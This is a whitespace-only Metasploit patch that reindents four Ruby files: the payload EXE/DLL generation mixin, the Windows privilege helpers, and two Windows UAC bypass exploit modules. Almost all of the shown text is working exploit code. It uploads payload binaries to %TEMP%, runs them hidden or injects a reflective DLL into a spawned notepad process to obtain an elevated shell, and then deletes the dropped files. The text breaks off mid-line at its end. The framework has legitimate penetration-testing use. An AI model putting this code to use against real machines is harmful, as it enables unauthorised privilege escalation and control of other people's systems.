From 1460474a556d71b2e895a2beaafc4d28bb12901a Mon Sep 17 00:00:00 2001 From: Tab Assassin Date: Thu, 5 Sep 2013 13:58:24 -0500 Subject: [PATCH] Retab changes for PR #2288 --- lib/msf/core/exploit/exe.rb | 142 +++---- lib/msf/core/post/windows/priv.rb | 258 ++++++------- modules/exploits/windows/local/bypassuac.rb | 240 ++++++------ .../windows/local/bypassuac_injection.rb | 360 +++++++++--------- 4 files changed, 500 insertions(+), 500 deletions(-) diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index e36f2a914b..58b5186981 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -9,95 +9,95 @@ module Msf module Exploit::EXE - def initialize(info = {}) - super + def initialize(info = {}) + super - # NOTE: Any new options here should also be dealt with in - # EncodedPayload#encoded_exe in lib/msf/core/encoded_payload.rb - register_advanced_options( - [ - OptPath.new( 'EXE::Custom', [ false, 'Use custom exe instead of automatically generating a payload exe']), - OptPath.new( 'EXE::Path', [ false, 'The directory in which to look for the executable template' ]), - OptPath.new( 'EXE::Template', [ false, 'The executable template file name.' ]), - OptBool.new( 'EXE::Inject', [ false, 'Set to preserve the original EXE function' ]), - OptBool.new( 'EXE::OldMethod', [ false, 'Set to use the substitution EXE generation method.' ]), - OptBool.new( 'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ]) - ], self.class) - end + # NOTE: Any new options here should also be dealt with in + # EncodedPayload#encoded_exe in lib/msf/core/encoded_payload.rb + register_advanced_options( + [ + OptPath.new( 'EXE::Custom', [ false, 'Use custom exe instead of automatically generating a payload exe']), + OptPath.new( 'EXE::Path', [ false, 'The directory in which to look for the executable template' ]), + OptPath.new( 'EXE::Template', [ false, 'The executable template file name.' ]), + OptBool.new( 'EXE::Inject', [ false, 'Set to preserve the original EXE function' ]), + OptBool.new( 'EXE::OldMethod', [ false, 'Set to use the substitution EXE generation method.' ]), + OptBool.new( 'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ]) + ], self.class) + end - def get_custom_exe - print_status("Using custom executable #{datastore["EXE::Custom"]}, RHOST and RPORT settings will be ignored!") - datastore['DisablePayloadHandler'] = true - file = ::File.open(datastore['EXE::Custom'],'rb') - exe = file.read(file.stat.size) - file.close - exe - end + def get_custom_exe + print_status("Using custom executable #{datastore["EXE::Custom"]}, RHOST and RPORT settings will be ignored!") + datastore['DisablePayloadHandler'] = true + file = ::File.open(datastore['EXE::Custom'],'rb') + exe = file.read(file.stat.size) + file.close + exe + end - def generate_payload_exe(opts = {}) - return get_custom_exe if datastore.include? 'EXE::Custom' + def generate_payload_exe(opts = {}) + return get_custom_exe if datastore.include? 'EXE::Custom' - exe_init_options(opts) + exe_init_options(opts) - pl = opts[:code] - pl ||= payload.encoded + pl = opts[:code] + pl ||= payload.encoded - # Fall back to x86... - if not opts[:arch] or opts[:arch].length < 1 - opts[:arch] = [ ARCH_X86 ] - end - # Ensure we have an array - if not opts[:arch].kind_of? Array - opts[:arch] = [ opts[:arch] ] - end + # Fall back to x86... + if not opts[:arch] or opts[:arch].length < 1 + opts[:arch] = [ ARCH_X86 ] + end + # Ensure we have an array + if not opts[:arch].kind_of? Array + opts[:arch] = [ opts[:arch] ] + end - # Transform the PlatformList - if (opts[:platform].kind_of? Msf::Module::PlatformList) - opts[:platform] = opts[:platform].platforms - end + # Transform the PlatformList + if (opts[:platform].kind_of? Msf::Module::PlatformList) + opts[:platform] = opts[:platform].platforms + end - exe = Msf::Util::EXE.to_executable(framework, opts[:arch], opts[:platform], pl, opts) - exe_post_generation(opts) - exe - end + exe = Msf::Util::EXE.to_executable(framework, opts[:arch], opts[:platform], pl, opts) + exe_post_generation(opts) + exe + end - def generate_payload_exe_service(opts = {}) - return get_custom_exe if datastore.include? 'EXE::Custom' + def generate_payload_exe_service(opts = {}) + return get_custom_exe if datastore.include? 'EXE::Custom' - exe_init_options(opts) + exe_init_options(opts) - # NOTE: Only Windows is supported here. - pl = opts[:code] - pl ||= payload.encoded + # NOTE: Only Windows is supported here. + pl = opts[:code] + pl ||= payload.encoded - if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64) - exe = Msf::Util::EXE.to_win64pe_service(framework, pl, opts) - else - exe = Msf::Util::EXE.to_win32pe_service(framework, pl, opts) - end + if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64) + exe = Msf::Util::EXE.to_win64pe_service(framework, pl, opts) + else + exe = Msf::Util::EXE.to_win32pe_service(framework, pl, opts) + end - exe_post_generation(opts) - exe - end + exe_post_generation(opts) + exe + end - def generate_payload_dll(opts = {}) - return get_custom_exe if datastore.include? 'EXE::Custom' + def generate_payload_dll(opts = {}) + return get_custom_exe if datastore.include? 'EXE::Custom' - exe_init_options(opts) + exe_init_options(opts) - # NOTE: Only Windows is supported here. - pl = opts[:code] - pl ||= payload.encoded + # NOTE: Only Windows is supported here. + pl = opts[:code] + pl ||= payload.encoded - if opts[:arch] and (opts[:arch].include? ARCH_X64 or opts[:arch].include? ARCH_X86_64) - dll = Msf::Util::EXE.to_win64pe_dll(framework, pl, opts) - else - dll = Msf::Util::EXE.to_win32pe_dll(framework, pl, opts) - end + if opts[:arch] and (opts[:arch].include? ARCH_X64 or opts[:arch].include? ARCH_X86_64) + dll = Msf::Util::EXE.to_win64pe_dll(framework, pl, opts) + else + dll = Msf::Util::EXE.to_win32pe_dll(framework, pl, opts) + end - exe_post_generation(opts) - dll - end + exe_post_generation(opts) + dll + end protected def exe_init_options(opts) diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index 9944ae9770..646be24b19 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -10,77 +10,77 @@ module Priv include ::Msf::Post::Windows::Accounts - LowIntegrityLevel = 'S-1-16-4096' - MediumIntegrityLevel = 'S-1-16-8192' - HighIntegrityLevel = 'S-1-16-12288' - SystemIntegrityLevel = 'S-1-16-16384' + LowIntegrityLevel = 'S-1-16-4096' + MediumIntegrityLevel = 'S-1-16-8192' + HighIntegrityLevel = 'S-1-16-12288' + SystemIntegrityLevel = 'S-1-16-16384' - Administrators = 'S-1-5-32-544' + Administrators = 'S-1-5-32-544' - # http://technet.microsoft.com/en-us/library/dd835564(v=ws.10).aspx - # ConsentPromptBehaviorAdmin - UACNoPrompt = 0 - UACPromptCredsIfSecureDesktop = 1 - UACPromptConsentIfSecureDesktop = 2 - UACPromptCreds = 3 - UACPromptConsent = 4 - UACDefault = 5 + # http://technet.microsoft.com/en-us/library/dd835564(v=ws.10).aspx + # ConsentPromptBehaviorAdmin + UACNoPrompt = 0 + UACPromptCredsIfSecureDesktop = 1 + UACPromptConsentIfSecureDesktop = 2 + UACPromptCreds = 3 + UACPromptConsent = 4 + UACDefault = 5 - # - # Returns true if user is admin and false if not. - # - def is_admin? - if session_has_ext - # Assume true if the OS doesn't expose this (Windows 2000) - session.railgun.shell32.IsUserAnAdmin()["return"] rescue true - else - cmd = "cmd.exe /c reg query HKU\\S-1-5-19" - results = session.shell_command_token_win32(cmd) - if results =~ /Error/ - return false - else - return true - end - end - end + # + # Returns true if user is admin and false if not. + # + def is_admin? + if session_has_ext + # Assume true if the OS doesn't expose this (Windows 2000) + session.railgun.shell32.IsUserAnAdmin()["return"] rescue true + else + cmd = "cmd.exe /c reg query HKU\\S-1-5-19" + results = session.shell_command_token_win32(cmd) + if results =~ /Error/ + return false + else + return true + end + end + end - # - # Returns true if in the administrator group - # - def is_in_admin_group? - whoami = get_whoami + # + # Returns true if in the administrator group + # + def is_in_admin_group? + whoami = get_whoami - if whoami.nil? - print_error("Unable to identify admin group membership") - return nil - elsif whoami.include? Administrators - return true - else - return false - end - end + if whoami.nil? + print_error("Unable to identify admin group membership") + return nil + elsif whoami.include? Administrators + return true + else + return false + end + end - # - # Returns true if running as Local System - # - def is_system? - if session_has_ext - local_sys = resolve_sid("S-1-5-18") - if session.sys.config.getuid == "#{local_sys[:domain]}\\#{local_sys[:name]}" - return true - else - return false - end - else - cmd = "cmd.exe /c reg query HKLM\\SAM\\SAM" - results = session.shell_command_token_win32(cmd) - if results =~ /Error/ - return false - else - return true - end - end - end + # + # Returns true if running as Local System + # + def is_system? + if session_has_ext + local_sys = resolve_sid("S-1-5-18") + if session.sys.config.getuid == "#{local_sys[:domain]}\\#{local_sys[:name]}" + return true + else + return false + end + else + cmd = "cmd.exe /c reg query HKLM\\SAM\\SAM" + results = session.shell_command_token_win32(cmd) + if results =~ /Error/ + return false + else + return true + end + end + end # # Returns true if UAC is enabled @@ -92,10 +92,10 @@ module Priv uac = false winversion = session.sys.config.sysinfo['OS'] - if winversion =~ /Windows (Vista|7|8|2008)/ - unless is_system? - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',KEY_READ) + if winversion =~ /Windows (Vista|7|8|2008)/ + unless is_system? + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',KEY_READ) if key.query_value('EnableLUA').data == 1 uac = true @@ -110,71 +110,71 @@ module Priv return uac end - # - # Returns the UAC Level - # - # 2 - Always Notify, 5 - Default, 0 - Disabled - # - def get_uac_level - begin - open_key = session.sys.registry.open_key( - HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', - KEY_READ - ) - uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') - rescue Exception => e - print_error("Error Checking UAC: #{e.class} #{e}") - end - return uac_level.data - end + # + # Returns the UAC Level + # + # 2 - Always Notify, 5 - Default, 0 - Disabled + # + def get_uac_level + begin + open_key = session.sys.registry.open_key( + HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', + KEY_READ + ) + uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') + rescue Exception => e + print_error("Error Checking UAC: #{e.class} #{e}") + end + return uac_level.data + end - # - # Returns the Integrity Level - # - def get_integrity_level - whoami = get_whoami + # + # Returns the Integrity Level + # + def get_integrity_level + whoami = get_whoami - if whoami.nil? - print_error("Unable to identify integrity level") - return nil - elsif whoami.include? LowIntegrityLevel - return LowIntegrityLevel - elsif whoami.include? MediumIntegrityLevel - return MediumIntegrityLevel - elsif whoami.include? HighIntegrityLevel - return HighIntegrityLevel - elsif whoami.include? SystemIntegrityLevel - return SystemIntegrityLevel - end - end + if whoami.nil? + print_error("Unable to identify integrity level") + return nil + elsif whoami.include? LowIntegrityLevel + return LowIntegrityLevel + elsif whoami.include? MediumIntegrityLevel + return MediumIntegrityLevel + elsif whoami.include? HighIntegrityLevel + return HighIntegrityLevel + elsif whoami.include? SystemIntegrityLevel + return SystemIntegrityLevel + end + end - # - # Returns the output of whoami /groups - # - # Returns nil if Windows whoami is not available - # - def get_whoami - whoami = cmd_exec('cmd /c whoami /groups') + # + # Returns the output of whoami /groups + # + # Returns nil if Windows whoami is not available + # + def get_whoami + whoami = cmd_exec('cmd /c whoami /groups') - if whoami.nil? or whoami.empty? - return nil - elsif whoami =~ /is not recognized/ or whoami =~ /extra operand/ or whoami =~ /Access is denied/ - return nil - else - return whoami - end - end + if whoami.nil? or whoami.empty? + return nil + elsif whoami =~ /is not recognized/ or whoami =~ /extra operand/ or whoami =~ /Access is denied/ + return nil + else + return whoami + end + end - # - # Return true if the session has extended capabilities (ie meterpreter) - # - def session_has_ext - begin - return !!(session.railgun and session.sys.config) - rescue NoMethodError - return false - end - end + # + # Return true if the session has extended capabilities (ie meterpreter) + # + def session_has_ext + begin + return !!(session.railgun and session.sys.config) + rescue NoMethodError + return false + end + end end end diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index 81e2287544..3a5efd4077 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -12,148 +12,148 @@ require 'msf/core/post/file' require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Exploit::Local - Rank = ExcellentRanking + Rank = ExcellentRanking - include Post::Common - include Exploit::EXE - include Post::File - include Post::Windows::Priv + include Post::Common + include Exploit::EXE + include Post::File + include Post::Windows::Priv - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows Escalate UAC Protection Bypass', - 'Description' => %q{ - This module will bypass Windows UAC by utilizing the trusted publisher - certificate through process injection. It will spawn a second shell that - has the UAC flag turned off. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'David Kennedy "ReL1K" ', - 'mitnick', - 'mubix' # Port to local exploit - ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], - 'Targets' => [ [ 'Windows', {} ] ], - 'DefaultTarget' => 0, - 'References' => [ - [ 'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/' ] - ], - 'DisclosureDate'=> "Dec 31 2010" - )) + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Escalate UAC Protection Bypass', + 'Description' => %q{ + This module will bypass Windows UAC by utilizing the trusted publisher + certificate through process injection. It will spawn a second shell that + has the UAC flag turned off. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'David Kennedy "ReL1K" ', + 'mitnick', + 'mubix' # Port to local exploit + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Windows', {} ] ], + 'DefaultTarget' => 0, + 'References' => [ + [ 'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/' ] + ], + 'DisclosureDate'=> "Dec 31 2010" + )) - end + end - def exploit + def exploit - fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? + fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? - # - # Verify use against Vista+ - # - winver = sysinfo["OS"] - if winver !~ /Windows Vista|Windows 2008|Windows [78]/ - fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.") - end + # + # Verify use against Vista+ + # + winver = sysinfo["OS"] + if winver !~ /Windows Vista|Windows 2008|Windows [78]/ + fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.") + end - if is_uac_enabled? - print_status "UAC is Enabled, checking level..." - else - fail_with(Exploit::Failure::NotVulnerable, - "UAC is not enabled, no reason to run module, exiting...\r\nRun exploit/windows/local/ask to elevate" - ) - end + if is_uac_enabled? + print_status "UAC is Enabled, checking level..." + else + fail_with(Exploit::Failure::NotVulnerable, + "UAC is not enabled, no reason to run module, exiting...\r\nRun exploit/windows/local/ask to elevate" + ) + end - case get_uac_level - when UACPromptCredsIfSecureDesktop, UACPromptConsentIfSecureDesktop, UACPromptCreds, UACPromptConsent - fail_with(Exploit::Failure::NotVulnerable, - "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." - ) - when UACDefault - print_good "UAC is set to Default" - print_status "BypassUAC can bypass this setting, continuing..." - when UACNoPrompt - fail_with(Exploit::Failure::NotVulnerable, - "UAC is not enabled, no reason to run module\r\nRun exploit/windows/local/ask to elevate" - ) - end + case get_uac_level + when UACPromptCredsIfSecureDesktop, UACPromptConsentIfSecureDesktop, UACPromptCreds, UACPromptConsent + fail_with(Exploit::Failure::NotVulnerable, + "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." + ) + when UACDefault + print_good "UAC is set to Default" + print_status "BypassUAC can bypass this setting, continuing..." + when UACNoPrompt + fail_with(Exploit::Failure::NotVulnerable, + "UAC is not enabled, no reason to run module\r\nRun exploit/windows/local/ask to elevate" + ) + end - # Check if you are an admin - print_status('Checking admin status...') - admin_group = is_in_admin_group? + # Check if you are an admin + print_status('Checking admin status...') + admin_group = is_in_admin_group? - if admin_group.nil? - print_error('Either whoami is not there or failed to execute') - print_error('Continuing under assumption you already checked...') - else - if admin_group - print_good('Part of Administrators group! Continuing...') - else - print_error('Not in admins group, cannot escalate with this module') - print_error('Exiting...') - return - end - end + if admin_group.nil? + print_error('Either whoami is not there or failed to execute') + print_error('Continuing under assumption you already checked...') + else + if admin_group + print_good('Part of Administrators group! Continuing...') + else + print_error('Not in admins group, cannot escalate with this module') + print_error('Exiting...') + return + end + end - if get_integrity_level == LowIntegrityLevel - fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level") - end + if get_integrity_level == LowIntegrityLevel + fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level") + end - # - # Generate payload and random names for upload - # - payload = generate_payload_exe + # + # Generate payload and random names for upload + # + payload = generate_payload_exe - # randomize the bypass_uac_filename - bypass_uac_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + # randomize the bypass_uac_filename + bypass_uac_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - # randomize the payload exe name - payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + # randomize the payload exe name + payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - # path to the bypassuac binary - path = ::File.join(Msf::Config.install_root, "data", "post") + # path to the bypassuac binary + path = ::File.join(Msf::Config.install_root, "data", "post") - # decide, x86 or x64 - bpexe = nil - if sysinfo["Architecture"] =~ /x64/i - bpexe = ::File.join(path, "bypassuac-x64.exe") - else - bpexe = ::File.join(path, "bypassuac-x86.exe") - end + # decide, x86 or x64 + bpexe = nil + if sysinfo["Architecture"] =~ /x64/i + bpexe = ::File.join(path, "bypassuac-x64.exe") + else + bpexe = ::File.join(path, "bypassuac-x86.exe") + end - tmpdir = session.fs.file.expand_path("%TEMP%") - cmd = "#{tmpdir}\\#{bypass_uac_filename} /c %TEMP%\\#{payload_filename}" + tmpdir = session.fs.file.expand_path("%TEMP%") + cmd = "#{tmpdir}\\#{bypass_uac_filename} /c %TEMP%\\#{payload_filename}" - print_status("Uploading the bypass UAC executable to the filesystem...") + print_status("Uploading the bypass UAC executable to the filesystem...") - begin - # - # Upload UAC bypass to the filesystem - # - session.fs.file.upload_file("%TEMP%\\#{bypass_uac_filename}", bpexe) - print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..") - # - # Upload the payload to the filesystem - # - tempexe = tmpdir + "\\" + payload_filename - fd = client.fs.file.new(tempexe, "wb") - fd.write(payload) - fd.close - rescue ::Exception => e - print_error("Error uploading file #{bypass_uac_filename}: #{e.class} #{e}") - return - end + begin + # + # Upload UAC bypass to the filesystem + # + session.fs.file.upload_file("%TEMP%\\#{bypass_uac_filename}", bpexe) + print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..") + # + # Upload the payload to the filesystem + # + tempexe = tmpdir + "\\" + payload_filename + fd = client.fs.file.new(tempexe, "wb") + fd.write(payload) + fd.close + rescue ::Exception => e + print_error("Error uploading file #{bypass_uac_filename}: #{e.class} #{e}") + return + end - print_status("Uploaded the agent to the filesystem....") + print_status("Uploaded the agent to the filesystem....") - # execute the payload - session.sys.process.execute(cmd, nil, {'Hidden' => true}) + # execute the payload + session.sys.process.execute(cmd, nil, {'Hidden' => true}) - # delete the uac bypass payload - delete_file = "cmd.exe /c del #{tmpdir}\\#{bypass_uac_filename}" + # delete the uac bypass payload + delete_file = "cmd.exe /c del #{tmpdir}\\#{bypass_uac_filename}" - session.sys.process.execute(delete_file, nil, {'Hidden' => true}) - end + session.sys.process.execute(delete_file, nil, {'Hidden' => true}) + end end diff --git a/modules/exploits/windows/local/bypassuac_injection.rb b/modules/exploits/windows/local/bypassuac_injection.rb index 28646540a2..a5eabf66a3 100644 --- a/modules/exploits/windows/local/bypassuac_injection.rb +++ b/modules/exploits/windows/local/bypassuac_injection.rb @@ -12,217 +12,217 @@ require 'msf/core/post/file' require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Exploit::Local - Rank = ExcellentRanking + Rank = ExcellentRanking - include Post::Common - include Exploit::EXE - include Post::File - include Post::Windows::Priv - include Exploit::FileDropper + include Post::Common + include Exploit::EXE + include Post::File + include Post::Windows::Priv + include Exploit::FileDropper - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows Escalate UAC Protection Bypass (In Memory Injection)', - 'Description' => %q{ - This module will bypass Windows UAC by utilizing the trusted publisher - certificate through process injection. It will spawn a second shell that - has the UAC flag turned off. This module uses the Reflective DLL Injection - technique to drop only the DLL payload binary instead of three seperate - binaries in the standard technique. However, it requires the correct - architecture to be selected. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'David Kennedy "ReL1K" ', - 'mitnick', - 'mubix', # Port to local exploit - 'Ben Campbell [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], - 'Targets' => [ - [ 'Windows x86', { 'Arch' => ARCH_X86 } ], - [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] - ], - 'DefaultTarget' => 0, - 'References' => [ - [ - 'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/', - 'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html' - ] - ], - 'DisclosureDate'=> "Dec 31 2010" - )) + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Escalate UAC Protection Bypass (In Memory Injection)', + 'Description' => %q{ + This module will bypass Windows UAC by utilizing the trusted publisher + certificate through process injection. It will spawn a second shell that + has the UAC flag turned off. This module uses the Reflective DLL Injection + technique to drop only the DLL payload binary instead of three seperate + binaries in the standard technique. However, it requires the correct + architecture to be selected. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'David Kennedy "ReL1K" ', + 'mitnick', + 'mubix', # Port to local exploit + 'Ben Campbell [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] + ], + 'DefaultTarget' => 0, + 'References' => [ + [ + 'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/', + 'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html' + ] + ], + 'DisclosureDate'=> "Dec 31 2010" + )) - end + end - def exploit + def exploit - fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? + fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? - # - # Verify use against Vista+ - # - winver = sysinfo["OS"] - if winver !~ /Windows Vista|Windows 2008|Windows [78]/ - fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.") - end + # + # Verify use against Vista+ + # + winver = sysinfo["OS"] + if winver !~ /Windows Vista|Windows 2008|Windows [78]/ + fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.") + end - if is_uac_enabled? - vprint_status "UAC is Enabled, checking level..." - else - fail_with(Exploit::Failure::NotVulnerable, - "UAC is not enabled, no reason to run module, exiting...\r\nRun exploit/windows/local/ask to elevate" - ) - end + if is_uac_enabled? + vprint_status "UAC is Enabled, checking level..." + else + fail_with(Exploit::Failure::NotVulnerable, + "UAC is not enabled, no reason to run module, exiting...\r\nRun exploit/windows/local/ask to elevate" + ) + end - case get_uac_level - when UACPromptCredsIfSecureDesktop, UACPromptConsentIfSecureDesktop, UACPromptCreds, UACPromptConsent - fail_with(Exploit::Failure::NotVulnerable, - "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." - ) - when UACDefault - print_good "UAC is set to Default" - vprint_status "BypassUAC can bypass this setting, continuing..." - when UACNoPrompt - fail_with(Exploit::Failure::NotVulnerable, - "UAC is not enabled, no reason to run module\r\nRun exploit/windows/local/ask to elevate" - ) - end + case get_uac_level + when UACPromptCredsIfSecureDesktop, UACPromptConsentIfSecureDesktop, UACPromptCreds, UACPromptConsent + fail_with(Exploit::Failure::NotVulnerable, + "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." + ) + when UACDefault + print_good "UAC is set to Default" + vprint_status "BypassUAC can bypass this setting, continuing..." + when UACNoPrompt + fail_with(Exploit::Failure::NotVulnerable, + "UAC is not enabled, no reason to run module\r\nRun exploit/windows/local/ask to elevate" + ) + end - # Check if you are an admin - vprint_status('Checking admin status...') - admin_group = is_in_admin_group? + # Check if you are an admin + vprint_status('Checking admin status...') + admin_group = is_in_admin_group? - if admin_group.nil? - print_error('Either whoami is not there or failed to execute') - print_error('Continuing under assumption you already checked...') - else - if admin_group - print_good('Part of Administrators group! Continuing...') - else - print_error('Not in admins group, cannot escalate with this module') - print_error('Exiting...') - return - end - end + if admin_group.nil? + print_error('Either whoami is not there or failed to execute') + print_error('Continuing under assumption you already checked...') + else + if admin_group + print_good('Part of Administrators group! Continuing...') + else + print_error('Not in admins group, cannot escalate with this module') + print_error('Exiting...') + return + end + end - if get_integrity_level == LowIntegrityLevel - fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level") - end + if get_integrity_level == LowIntegrityLevel + fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level") + end - tmpdir = expand_path("%TEMP%").strip - windir = expand_path("%WINDIR%").strip + tmpdir = expand_path("%TEMP%").strip + windir = expand_path("%WINDIR%").strip - # path to the bypassuac binary - path = ::File.join(Msf::Config.install_root, "data", "post") + # path to the bypassuac binary + path = ::File.join(Msf::Config.install_root, "data", "post") - # decide, x86 or x64 - sysarch = sysinfo["Architecture"] - if sysarch =~ /x64/i - bpdll_path = ::File.join(path, "bypassuac-x64.dll") + # decide, x86 or x64 + sysarch = sysinfo["Architecture"] + if sysarch =~ /x64/i + bpdll_path = ::File.join(path, "bypassuac-x64.dll") - if sysarch =~ /WOW64/i - bpdll_path = ::File.join(path, "bypassuac-x86.dll") - # We only have to do this for SYSWOW64 as 64 bit process - # cleans up after itself. It appears to be a problem with - # SysWOW64 Redirection... - register_files_for_cleanup("#{windir}\\System32\\sysprep\\CRYPTBASE.dll") - end + if sysarch =~ /WOW64/i + bpdll_path = ::File.join(path, "bypassuac-x86.dll") + # We only have to do this for SYSWOW64 as 64 bit process + # cleans up after itself. It appears to be a problem with + # SysWOW64 Redirection... + register_files_for_cleanup("#{windir}\\System32\\sysprep\\CRYPTBASE.dll") + end - unless target_arch.first == 'x86_64' - fail_with( - Exploit::Failure::BadConfig, - "x86 Target Selected for x64 System" - ) - end - else - if target_arch.first == 'x86' - fail_with( - Exploit::Failure::BadConfig, - "x64 Target Selected for x86 System" - ) - end + unless target_arch.first == 'x86_64' + fail_with( + Exploit::Failure::BadConfig, + "x86 Target Selected for x64 System" + ) + end + else + if target_arch.first == 'x86' + fail_with( + Exploit::Failure::BadConfig, + "x64 Target Selected for x86 System" + ) + end - bpdll_path = ::File.join(path, "bypassuac-x86.dll") - end + bpdll_path = ::File.join(path, "bypassuac-x86.dll") + end - # - # Generate payload and random names for upload - # - payload = generate_payload_dll + # + # Generate payload and random names for upload + # + payload = generate_payload_dll - payload_filepath = "#{tmpdir}\\CRYPTBASE.dll" + payload_filepath = "#{tmpdir}\\CRYPTBASE.dll" - print_status("Uploading the Payload DLL to the filesystem...") - begin - vprint_status("Payload DLL #{payload.length} bytes long being uploaded..") - write_file(payload_filepath, payload) - rescue ::Exception => e - fail_with( - Exploit::Exception::Unknown, - "Error uploading file #{payload_filepath}: #{e.class} #{e}" - ) - end + print_status("Uploading the Payload DLL to the filesystem...") + begin + vprint_status("Payload DLL #{payload.length} bytes long being uploaded..") + write_file(payload_filepath, payload) + rescue ::Exception => e + fail_with( + Exploit::Exception::Unknown, + "Error uploading file #{payload_filepath}: #{e.class} #{e}" + ) + end - dll = '' - File.open(bpdll_path, "rb" ) { |f| dll += f.read(f.stat.size) } - offset = get_reflective_dll_offset(dll) + dll = '' + File.open(bpdll_path, "rb" ) { |f| dll += f.read(f.stat.size) } + offset = get_reflective_dll_offset(dll) - print_status("Spawning process with Windows Publisher Certificate, to inject into...") + print_status("Spawning process with Windows Publisher Certificate, to inject into...") - cmd = "#{windir}\\System32\\notepad.exe" - proc = client.sys.process.execute(cmd, nil, {'Hidden' => true }) + cmd = "#{windir}\\System32\\notepad.exe" + proc = client.sys.process.execute(cmd, nil, {'Hidden' => true }) - if proc.nil? or proc.pid.nil? - fail_with(Exploit::Failure::Unknown, "Spawning Process failed...") - end + if proc.nil? or proc.pid.nil? + fail_with(Exploit::Failure::Unknown, "Spawning Process failed...") + end - pid = proc.pid + pid = proc.pid - vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}") - begin - vprint_status("Opening process #{pid}") - host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) - vprint_status("Allocating memory in procees #{pid}") - mem = host_process.memory.allocate(dll.length + (dll.length % 1024)) - # Ensure memory is set for execution - host_process.memory.protect(mem) - vprint_status("Allocated memory at address #{"0x%.8x" % mem}, for #{dll.length} bytes") - vprint_status("Writing the payload into memory") - host_process.memory.write(mem, dll) - vprint_status("Executing payload") - thread = host_process.thread.create(mem+offset, 0) - print_good("Successfully injected payload in to process: #{pid}") - client.railgun.kernel32.WaitForSingleObject(thread.handle,3000) - client.railgun.kernel32.TerminateProcess(host_process.handle,0) - rescue ::Exception => e - print_error("Failed to Inject Payload to #{pid}!") - vprint_error(e.to_s) - end + vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}") + begin + vprint_status("Opening process #{pid}") + host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) + vprint_status("Allocating memory in procees #{pid}") + mem = host_process.memory.allocate(dll.length + (dll.length % 1024)) + # Ensure memory is set for execution + host_process.memory.protect(mem) + vprint_status("Allocated memory at address #{"0x%.8x" % mem}, for #{dll.length} bytes") + vprint_status("Writing the payload into memory") + host_process.memory.write(mem, dll) + vprint_status("Executing payload") + thread = host_process.thread.create(mem+offset, 0) + print_good("Successfully injected payload in to process: 